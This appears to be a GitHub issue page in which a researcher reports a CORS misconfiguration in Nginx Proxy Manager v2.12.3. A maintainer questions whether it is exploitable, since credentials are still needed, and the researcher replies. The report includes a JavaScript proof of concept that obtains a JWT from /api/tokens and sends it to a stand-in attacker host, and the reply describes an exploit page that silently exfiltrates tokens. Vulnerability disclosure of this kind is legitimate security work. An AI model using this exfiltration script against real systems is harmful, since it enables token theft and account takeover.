You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
A CORS misconfiguration in Nginx Proxy Manager v2.12.3 allows unauthorized domains to access sensitive data, particularly JSON Web Tokens (JWT). This issue arises due to improper validation of the Origin header, allowing malicious third-party websites to intercept sensitive tokens sent by the server, leading to potential account takeover and unauthorized access to sensitive data.
Impact:
This vulnerability allows an attacker to redirect the authentication token to their own server by exploiting the lack of proper CORS validation. This can be done using a simple browser script, which redirects the token from the vulnerable endpoint /api/tokens to a Burp Collaborator server. Once the attacker captures the token, they can use it to perform unauthorized actions within the application, leading to the following potential consequences:
Unauthorized access to the application by stealing user tokens.
Data leakage, exposing sensitive user data.
Service disruption, if the attacker escalates the access.
Loss of confidentiality, as attackers can impersonate legitimate users.
Steps to Reproduce:
POST /api/tokens HTTP/1.1
and we can see how the response returned the the JWT Token with the Access-Control-Allow-Origin: http://r6y0zdqpcyb8hp3qf1fj1rr29tfk3cr1.oastify.com right?
Exploit (JavaScript script): A simple script can be executed in the browser's console to steal the JWT token and send it to a Burp Collaborator server or Evil Domain:
The Exploit that i've created is this:
constapiUrl='http://localhost:81/api/tokens';constcollaboratorUrl='http://BURP-COLLAB.com/';// Burp Collaborator URL or evil domainconstheaders={'Content-Type': 'application/json','Authorization': 'Bearer null','Origin': collaboratorUrl,// Use Burp Collaborator as Origin'Referer': 'http://localhost:81/login',};constbody={"identity": "[email protected]","secret": "admin123"};// Sending the request to get the tokenfetch(apiUrl,{method: 'POST',headers: headers,body: JSON.stringify(body),credentials: 'include'}).then(response=>response.json()).then(data=>{// Sending the token to Burp Collaboratorfetch(collaboratorUrl+'?token='+encodeURIComponent(data.token)).then(()=>console.log('Token sent to Burp Collaborator')).catch(err=>console.error('Error sending token to Burp:',err));}).catch(error=>console.error('Request error:',error));
Token Intercepted: The captured token is sent to the Burp Collaborator server and can be used by the attacker to impersonate the user.
CORS Vulnerable Endpoints: In addition to /api/tokens, I also discovered similar vulnerabilities in the following endpoints:
/api/audit-log
/api/nginx/proxy-hosts
/api/users
These endpoints could also be exploited in a similar manner due to the misconfiguration.
Conclusion: This vulnerability can be exploited by attackers to steal authentication tokens, leading to a potential account takeover. It poses a significant risk to the confidentiality of the application and the security of users' data. Fixing the CORS misconfiguration is critical to mitigate the risk of unauthorized access.
As a best practice, it is strongly recommended to validate the Origin header properly to ensure that only trusted domains are allowed to interact with sensitive APIs.
I think I might be missing something. How can this be exploited? You still need the username and password in order to get a JWT token. And the "misconfigured" CORS only makes it that you can fetch the endpoint from a third party domain. In case of brute force attacks, the browser is not needed.
Please share a scenario where this can be a security risk other than executing arbitrary code in the chrome developer console.
Hello, thanks for your response. I understand your point, but let me explain the real security risk in a more practical way.
The main issue here is that the CORS misconfiguration allows any website to make cross-origin requests to sensitive API endpoints, including /api/tokens. While it's true that you still need valid credentials, the problem arises when an attacker can trick a legitimate user — like an admin — into visiting a malicious page.
To prove this, I created a simple POC using a Python server. I hosted an exploit.html file that contains JavaScript designed to automatically send a request to the vulnerable /api/tokens endpoint and capture the JWT token. When the victim (already authenticated or during login) visits this page, the script runs and silently exfiltrates the token to my server — no manual code execution or DevTools needed, just a normal browser visit.
I recorded a video showing this in action: I start a Python server to receive the stolen token, open the malicious page, and the token is captured instantly. This demonstrates how an attacker can steal tokens and perform account takeover just by luring users to their site.
While this may seem like a simple issue, the real-world implications are much more serious. Misconfigured CORS policies can lead to a variety of advanced attacks, and this is just one example. It's not just about attackers running code in a console; it's about the potential for external resources to be accepted and manipulated, which opens the door to various attack vectors.
The key takeaway here is the importance of restricting and properly configuring CORS policies to only allow trusted origins. This is crucial in mitigating attacks that could otherwise escalate into much more damaging scenarios.
In summary, the vulnerability is not about weak credentials or the login itself, but rather about a misconfigured CORS policy. It currently allows any external origin to interact with the /api/tokens endpoint. In my exploit, I include known credentials to demonstrate the impact, but the real issue is that the application accepts cross-origin requests from untrusted sites.
Best regards,
Juan Felipe Osorio Z
Security Researcher
Vulnerability Summary:
A CORS misconfiguration in Nginx Proxy Manager v2.12.3 allows unauthorized domains to access sensitive data, particularly JSON Web Tokens (JWT). This issue arises due to improper validation of the Origin header, allowing malicious third-party websites to intercept sensitive tokens sent by the server, leading to potential account takeover and unauthorized access to sensitive data.
Impact:
This vulnerability allows an attacker to redirect the authentication token to their own server by exploiting the lack of proper CORS validation. This can be done using a simple browser script, which redirects the token from the vulnerable endpoint /api/tokens to a Burp Collaborator server. Once the attacker captures the token, they can use it to perform unauthorized actions within the application, leading to the following potential consequences:
Steps to Reproduce:
/api/tokens
, I also discovered similar vulnerabilities in the following endpoints:These endpoints could also be exploited in a similar manner due to the misconfiguration.
Conclusion: This vulnerability can be exploited by attackers to steal authentication tokens, leading to a potential account takeover. It poses a significant risk to the confidentiality of the application and the security of users' data. Fixing the CORS misconfiguration is critical to mitigate the risk of unauthorized access.
As a best practice, it is strongly recommended to validate the Origin header properly to ensure that only trusted domains are allowed to interact with sensitive APIs.
Best Regards,
Juan Felipe Osorio Z
Security Researcher
LinkedIn • X (Twitter) • Website
The text was updated successfully, but these errors were encountered: